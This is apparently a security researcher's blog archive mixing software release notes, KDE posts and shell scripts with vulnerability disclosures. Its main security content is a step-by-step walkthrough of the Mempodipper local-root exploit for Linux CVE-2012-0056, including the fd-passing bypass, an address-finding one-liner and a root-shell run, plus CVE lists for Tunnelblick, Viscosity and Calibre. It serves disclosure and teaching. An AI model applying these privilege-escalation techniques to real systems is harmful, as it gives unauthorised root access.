I’ve been using this utility since I wrote it 6 years ago, and this afternoon, I cleaned up the code base in order to release it. It’s a simple command-line music file organizer. It takes a list of files or directories as program arguments, inspects the tags of all the enclosed music files, and then determines which directories need to be created and what the music file name should be. Plenty of GUI tools do this already, many of which are very customizable, but I have yet to see a command-line utility as simple as this that gets the job done.

The general ingestion routine for acquiring music on the Interwebs is I load it up in Picard or EasyTag or another command line utility to adjust the tags, and then run:

$ organizemusic ~/Downloads/some-silly-m4a-directory

And presto, all the music is moved into the right place.

It takes care of translating difficult non ASCII character into correct transliterations using libicu and uses KDE Scott Wheeler’s taglib for the audio file tag reading.

Get it while it’s hot! You can browse the source here, look at the readme here, or clone and build it like this:

zx2c4@Dell ~ $ git clone http://git.zx2c4.com/music-file-organizer
Cloning into 'music-file-organizer'...
zx2c4@Dell ~ $ cd music-file-organizer/
zx2c4@Dell ~/music-file-organizer $ make
g++ -O3 -pipe -fomit-frame-pointer -march=native -I/usr/include/taglib    -ltag -licui18n -licuuc -licudata    readmusictags.cpp AudioFile.cpp AudioFile.h   -o readmusictags
g++ -O3 -pipe -fomit-frame-pointer -march=native -I/usr/include/taglib    -ltag -licui18n -licuuc -licudata    organizemusic.cpp AudioFile.cpp AudioFile.h   -o organizemusic
August 20, 2012 · 19 comments


Over two years ago, I announced that I had written a dictionary plugin for KRunner. Many expected it would be merged immediately, but there was an unfortunate hiccup. Because of the particulars of KRunner’s threading, and the fact that the dictionary data engine needed to only be accessed from the main thread, Aaron Seigo said that he would add an AbstractRunner property called setReentrant that would allow for easily accessing data engines from the KRunner’s match thread. This never materialized. I waited, and nothing ever came, and eventually I just presumed the plasma developers weren’t interested in adding this API themselves.

Not a problem, though. Now, two years since, I’ve decided to resurrect the runner, and rewrite it using mutexes to work around the API’s threading limitations. The result turned out very cleanly, and so far in my testing it works without fail.

It’s currently in kde-review, but I’m hoping to move it into plasma-addons and ship it with 4.10, now that it works well.

For the eager, you can try it out now with these commands:

svn co svn://anonsvn.kde.org/home/kde/trunk/kdereview/plasma/runners/dictionary dictionary-krunner
cd dictionary-krunner
cmake . -DCMAKE_INSTALL_PREFIX=$(kde4-config --prefix)
make
sudo make install
kbuildsycoca4
kquitapp krunner
krunner
August 18, 2012 · 19 comments


A few weeks ago my Vaio toasted out. I’ve been using an old Dell laptop as a replacement, which was previously being used as a NAS server box. To replace the NAS, I dusted off my sister’s old Macbook and tried to wrestle OS X into shape, including writing a patch for rsync to deal with OS X’s awful UTF-8 semantics (NFC vs NFD), but this is for another post. While waiting for things to transfer, I was auditing my colo, and I typed find / -type f -perm -4000 into the Mac’s SSH session by accident. Before I could Ctrl+C out of it, I noticed “hey, weird, why’s Tunnelblick need an SUID helper?”.

Coincidentally, a friend was just touting the high quality UNIX tools OS X has to offer. I was skeptical.

It turns out that the two most popular OpenVPN client/managers for Macintosh, Viscosity and Tunnelblick, both use incredibly insecure SUID helpers.

When either Viscosity or Tunnelblick is installed, an unprivileged user can elevate permissions to become root (the Administrator user).

Here are the relevant links:

Tunnelblick Vulnerability Viscosity Vulnerability
CVE Assignment for Tunnelblick
CVE-2012-3483 1. A race condition in file permissions checking can lead to local root. – TOCTOU
CVE-2012-3484 2. Insufficient checking of merely 0:0 744 can lead to local root on systems with particular configurations.
CVE-2012-3485 3. Insufficient validation of path names can allow for arbitrary kernel module loading, which can lead to local root.
4. Insufficient validation of path names can allow execution of arbitrary scripts as root, leading to local root.
5. Insufficient path validation in errorExitIfAttackViaString can lead to deletion of files as root, leading to DoS.
CVE-2012-3486 6. Allowing OpenVPN to run with user given configurations can lead to local root.
CVE-2012-3487 7. Race condition in process killing. – TOCTOU
CVE Assignment for Viscosity
CVE-2012-4284 Insufficient validation of path names can allow execution of arbitrary python code as root, leading to local root.
August 13, 2012 · 6 comments


Stripe released a capture the flag, a security competition to exploit several contrived flaws. I solved all of them, and you can take a look at the solutions here. Here’s a video of a complete walkthrough:

February 25, 2012 · 6 comments


Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid/mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process’s virtual memory space. In 2.6.39, the protections against unauthorized access to /proc/pid/mem were deemed sufficient, and so the prior #ifdef that prevented write support for writing to arbitrary process memory was removed. Anyone with the correct permissions could write to process memory. It turns out, of course, that the permissions checking was done poorly. This means that all Linux kernels >=2.6.39 are vulnerable, up until the fix commit for it a couple days ago. Let’s take the old kernel code step by step and learn what’s the matter with it.

When /proc/pid/mem is opened, this kernel code is called:

static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

There are no restrictions on opening; anyone can open the /proc/pid/mem fd for any process (subject to the ordinary VFS restrictions). It simply makes note of the original process’s self_exec_id that it was opened with and stores this away for checking later during reads and writes.

Writes (and reads), however, have permissions checking restrictions. Let’s take a look at the write function:

static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{
 
/* unimportant code removed for blog post */	
 
	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
 
/* unimportant code removed for blog post */
 
	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;
 
/* unimportant code removed for blog post */	
 
	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;
 
/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */

So there are two relevant checks in place to prevent against unauthorized writes: check_mem_permission and self_exec_id. Let’s do the first one first and second one second.

The code of check_mem_permission simply calls into __check_mem_permission, so here’s the code of that:

static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;
 
	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);
 
	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;
 
	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}
 
	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

There are two ways that the memory write is authorized. Either task == current, meaning that the process being written to is the process writing, or current (the process writing) has esoteric ptrace-level permissions to play with task (the process being written to). Maybe you think you can trick the ptrace code? It’s tempting. But I don’t know. Let’s instead figure out how we can make a process write arbitrary memory to itself, so that task == current.

Now naturally, we want to write into the memory of suid processes, since then we can get root. Take a look at this:

$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su will spit out whatever text you want onto stderr, prefixed by “Unknown id:”. So, we can open a fd to /proc/self/mem, lseek to the right place in memory for writing (more on that later), use dup2 to couple together stderr and the mem fd, and then exec to su $shellcode to write an shell spawner to the process memory, and then we have root. Really? Not so easy.

Here the other restriction comes into play. After it passes the task == current test, it then checks to see if the current self_exec_id matches the self_exec_id that the fd was opened with. What on earth is self_exec_id? It’s only referenced a few places in the kernel. The most important one happens to be inside of exec:

void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */
 
	/* An exec changes our domain. We are no longer part of the thread
	   group */
 
	current->self_exec_id++;
 
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id is incremented each time a process execs. So in this case, it functions so that you can’t open the fd in a non-suid process, dup2, and then exec to a suid process… which is exactly what we were trying to do above. Pretty clever way of deterring our attack, eh?

Here’s how to get around it. We fork a child, and inside of that child, we exec to a new process. The initial child fork has a self_exec_id equal to its parent. When we exec to a new process, self_exec_id increments by one. Meanwhile, the parent itself is busy execing to our shellcode writing su process, so its self_exec_id gets incremented to the same value. So what we do is — we make this child fork and exec to a new process, and inside of that new process, we open up a fd to /proc/parent-pid/mem using the pid of the parent process, not our own process (as was the case prior). We can open the fd like this because there is no permissions checking for a mere open. When it is opened, its self_exec_id has already incremented to the right value that the parent’s self_exec_id will be when we exec to su. So finally, we pass our opened fd from the child process back to the parent process (using some very black unix domain sockets magic), do our dup2ing, and exec into su with the shell code.

There is one remaining objection. Where do we write to? We have to lseek to the proper memory location before writing, and ASLR randomizes processes address spaces making it impossible to know where to write to. Should we spend time working on more cleverness to figure out how to read process memory, and then carry out a search? No. Check this out:

$ readelf -h /bin/su | grep Type
  Type:                              EXEC (Executable file)

This means that su does not have a relocatable .text section (otherwise it would spit out “DYN” instead of “EXEC”). It turns out that su on the vast majority of distros is not compiled with PIE, disabling ASLR for the .text section of the binary! So we’ve chosen su wisely. The offsets in memory will always be the same. So to find the right place to write to, let’s check out the assembly surrounding the printing of the “Unknown id: blabla” error message.

It gets the error string here:

  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

And then writes it to stderr:

  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Closes the log:

  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

And then exits the program:

  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

We therefore want to use 0×402178, which is the exit function it calls. We can, in an exploit, automate the finding of the exit@plt symbol with a simple bash one-liner:

$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

So naturally, we want to write to 0×402178 minus the number of letters in the string “Unknown id: “, so that our shellcode is placed at exactly the right place.

The shellcode should be simple and standard. It sets the uid and gid to 0 and execs into a shell. If we want to be clever, we can reopen stderr by, prior to dup2ing the memory fd to stderr, we choose another fd to dup stderr to, and then in the shellcode, we dup2 that other fd back to stderr.

In the end, the exploit works like a charm with total reliability:

 
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================
 
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

You can watch a video of it in action:

As always, thanks to Dan Rosenberg for his continued advice and support. I’m currently not releasing any source code, as Linus only very recently patched it. After a responsible amount of time passes or if someone else does first, I’ll publish. If you’re a student trying to learn about things or have otherwise legitimate reasons, we can talk.

Update: evidently, based on this blog post, ironically, some other folks made exploits and published them. So, here’s mine. I wrote the shellcode for 32-bit and 64-bit by hand. Enjoy!

Update 2: as it turns out, Fedora very aptly compiles their su with PIE, which defeats this attack. They do not, unfortunately, compile all their SUID binaries with PIE, and so this attack is still possible with, for example, gpasswd. The code to do this is in the “fedora” branch of the git repository, and a video demonstration is also available.

Update 3: Gentoo is smart enough to remove read permissions on SUID binaries, making it impossible to find the exit@plt offset using objdump. I determined another way to do this, using ptrace. Ptrace allows debugging of any program in memory. For SUID programs, ptracing will drop its privileges, but that’s fine, since we simply want to find internal memory locations. By parsing the opcode of the binary at the right time, we can decipher the target address of the next call after the printing of the error message. I’ve created a standalone utility that returns the offset, as well as integrating it into the main mempodipper source.

{As always, this is work here is strictly academic, and is not intended for use beyond research and education.}

January 22, 2012 · 153 comments


I just moved to Paris, which means I’m finally in the right proximity at the right time for attending an open source conference. I’m not sure what the scoop is with the Parsian KDE community — if it exists or is vibrant, if there’s camaraderie, or what the situation is. But, in case there is a good vibe brewing inside the Paris OSS community, what do you say we all band together to attend FOSDEM. Leave our city for Brussels in a festive caravan on Friday night (or possibly just a train) and come back Sunday night? If there’s interest, email me at jason [at] zx2c4 dot com or leave a comment below.

January 18, 2012 · (No comments)


TechRadar has decided that KDE is the most usable desktop compared to Gnome and Unity. A few days prior to the publication of this article, my friend John emailed me to write:

I’m using Kde on my computer at work and it is amazing. It’s improved so much that it’s now stable and highly usable.

I tried Unity (I’m using Ubuntu) and it was unusable. Gnome 3 was better but had massive issues with my second screen (dual screen setup with nvdia gpu running in twin view). Gnome 3 was still lacking in the productivity area though. Lxde worked great but I don’t want to use a desktop that looks and feels like Windows 95… Also Lxde has few apps so I had to pull in gnome or ode ones…

I also had issues with Ubuntu’s lightdm but switching to kdm fixed that. So far Kde is the only desktop that fully works, feels good, looks good and has apps for every task.

John

Sent from my phone

Finally folks are figuring out that KDE doesn’t suck anymore.


Update: Adam Weiss writes with a political comparison:

Gnome 3, Unity…they are like the George W. Bush of the non-KDE Linux desktop movement. Instead of taking care of the real issues on the desk, they went gallavanting off into the netbook world, dropping bombs all over the place and even to this day nobody can really figure out what the point of netbooks is…

December 18, 2011 · 77 comments


A few weeks ago, I posted an exploit and a bug report for a Linux local root exploit in Calibre. The author, Kovid Goyal, became incensed, and rather than work with me to fix it, he insulted my colleagues and me. After each one of his fixes, I released a new exploit breaking the latest. It got a lot of social media hype, and was kind of a big deal. After several days of media frenzy and bad publicity, the stubborn developer finally bent to the advice of the chorus of leading security researchers, and the mount helper was removed in entirety. In any case, the exploits show some neat race condition tricks that you might want to check out, using inotify and a toggler.

  • Hilarious bug report
  • Important news article
  • Social media hype
  • More social media hype
  • Compliment from famous hacker
  • oss-security mailing list discussion
  • Obscene praise from script-kiddie
  • First Exploit
  • Second Exploit
  • Third Exploit
  • Most Glorious Forth Exploit
  • There’s plenty of technical explanation in the comments of the exploit code.

    CVE Assignment for Calibre
    CVE-2011-4124 1. Ability to create root owned directory anywhere. The mount helper calls mkdir(argv[3], …).
    2. Ability to remove any empty directory on the system.
    3. Ability to create user_controlled_dir/.created_by_calibre_mount_helper anywhere on the filesystem.
    4. Ability to delete user_controlled_dir/.created_by_calibre_mount_helper anywhere on the filesystem.
    5. Ability to inject arguments into ‘mount’ being exec’d. On lines 78, 81, and 83, the final two arguments to mount are user controlled. On lines 1033, 106, 108, 139, and 141, the last argument to unmount/eject is user controlled. The “exists()” check can be subverted via race condition or by creating an existing file in the working directory with a filename equal to the desired injected argument.
    6. Ability to unmount any device.
    CVE-2011-4125 7. Ability to execute any program as root. The mount helper makes use of execlp on lines 78, 81, 83, 103, 106, 108, 139, and 141, and the first argument does not start with a / character. Because of this, execlp will search PATH for the executable to run. PATH is user controlled, and thus it is trivial to write a program that spawns a shell and give it “mount” as a filename, and direct PATH to its directory.
    CVE-2011-4126 8. Race condition, allowing the ability to mount any device to anywhere. This leads to local root, since you can mount over /etc/ or /etc/pam.d/.

    My first three CVEs.


    After that, I decided to learn about linker bugs, so I reread Tavis’ excellent two write-ups on CVE-2010-3856 and CVE-2010-3847. I saw that there was room for writing a newer exploit based on his research that did not depend on having read access to SUID executables or having a cron daemon installed, so I wrote I Can’t Read and I Won’t Race You Either. The source has plenty of explanation. I also suggest reading Tim Brown’s excellent paper on linker bugs.

    November 18, 2011 · 3 comments


    So far as I can tell, changing your wallpaper (using the default wallpaper plugin, not any fancy scripted wallpaper plugins) from the command line in KDE4 is needlessly hard. I have to write a JavaScript file to a temporary location, make a dbus call to load it into an interactive window, and then use xdotool to simulate key strokes to run it. Jimminy cricket. But below is how I have it done. If there’s an easier way that I’ve missed, pleeeaassseee let me know in the comments.

    set-wallpaper.sh:

    #!/bin/sh
    js=$(mktemp)
    cat > $js <<_EOF
    var wallpaper = "$1";
    var activity = activities()[0];
    activity.currentConfigGroup = new Array("Wallpaper", "image");
    activity.writeConfig("wallpaper", wallpaper);
    activity.writeConfig("userswallpaper", wallpaper);
    activity.reloadConfig();
    _EOF
    qdbus org.kde.plasma-desktop /App local.PlasmaApp.loadScriptInInteractiveConsole "$js" > /dev/null
    xdotool search --name "Desktop Shell Scripting Console – Plasma Desktop Shell" windowactivate key ctrl+e key ctrl+w
    rm -f "$js"
    November 18, 2011 · 10 comments


    I’ve figured out how to script the Google Documents Viewer into reading any office document — doc, docx, xls, xlsx, odt, ods, and probably a bunch of others — and converting it to PDF. There are tons of tools, such as unoconv, but Google’s service is well sandboxed, which makes it a nice choice if you want to convert untrusted documents, such as in the case of a web service. So without further ado, here you go:

    convert-url-to-pdf.sh:

    #!/bin/sh
     
    # by Jason A. Donenfeld
    # www.zx2c4.com
     
    if [ $# -ne 2 ]; then
            echo "Usage: $0 url output-pdf-file"
            exit 1
    fi
     
    set -e
    documenturl="$(echo -n "$1" | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g')"
    viewerurl="http://docs.google.com/viewer?url=$documenturl"
    pdfurl="$(printf "$(curl -s "$viewerurl" | sed -n "s/.*gpUrl:'\\([^']*\\)'.*/\\1/p" | sed 's/%/%%/g')")"
    cookiejar="$(mktemp)"
    curl -s -L -c "$cookiejar" -o "$2" $pdfurl
    rm -f "$cookiejar"

    November 18, 2011 · (No comments)